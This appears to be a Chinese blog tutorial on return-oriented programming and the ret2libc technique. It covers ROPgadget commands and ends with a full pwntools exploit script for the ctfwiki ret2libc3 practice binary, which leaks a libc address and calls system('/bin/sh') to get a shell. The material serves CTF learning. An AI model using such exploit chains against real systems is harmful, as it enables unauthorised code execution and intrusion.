What is ROP ROP(返回导向编程),主要用来针对NX保护机制,当堆栈不可执行,就将栈溢出后返回地址导向程序已有指令,当这些指令都已ret指令结尾时(被称作gadget),则可通过组合串联执行达到某些目的。
ROPgadget ROPgadget工具可以自动扫描二进制文件中可供利用的gadget,甚至能自动构造利用链(懒狗福音,只是实际做题能遇见的不多就是了。。)
ROP的内存布局示例 payload中各条gadget地址与其参数(通常用于pop指令)布局大致如下
日常使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ROPgadget --binary file ROPgadget --binary file --only 'pop|ret' | grep 'eax' ROPgadget --binary rop --string "/bin/sh" ROPgadget --binary file --only 'XX' ROPgadget --binary file --ropchain
ret2libc 简单的ret2text 和ret2shellcode 就不说了,主要讲一讲ret2libc的东西
libc简介 要讲ret2libc就得先理解libc与可执行文件的关系,下面讲的也只是我目前的理解(如有误请指正)
一个动态链接的可执行文件和libc的关系大概就是,可执行文件运行时所需的共享对象会被链接到文件中,但其实整个libc都被加载在了虚拟内存中(这时还没有为其分配真正的物理内存,等切时要执行时才分配),这才有了ret2libc的可能。而有些可执行文件里面能被IDA加载后静态看得见的那些libc函数,都是文件中实际包含的,而没有的libc函数如system在确定libc在内存中的实际地址和函数偏移后一样可以利用。
一般的利用套路 当二进制文件中没有明显的后门函数,而又开启了NX保护不能直接注入shellcode执行。可以利用ROP链泄露已执行过的一些函数的实际地址,再用LibrarySearcher 匹配找到对应libc,算出该函数在虚拟内存中的实际地址 与在libc中的地址 的偏移 即可算出我们想要利用的libc函数在内存中的实际地址。
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
—— ctfwiki
一道例题ctfwiki-ret2libc3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import LibcSearchersh = process('./ret2libc3' ) ret2libc3 = ELF('./ret2libc3' ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] main = ret2libc3.symbols['main' ] print "leak libc_start_main_got addr and return to main again" payload = flat(['A' * 112 , puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?' , payload) print "get the related addr" libc_start_main_addr = u32(sh.recv()[0 :4 ]) libc = LibcSearcher('__libc_start_main' , libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main' ) system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) print "get shell" payload = flat(['A' * 104 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) sh.interactive()
Comments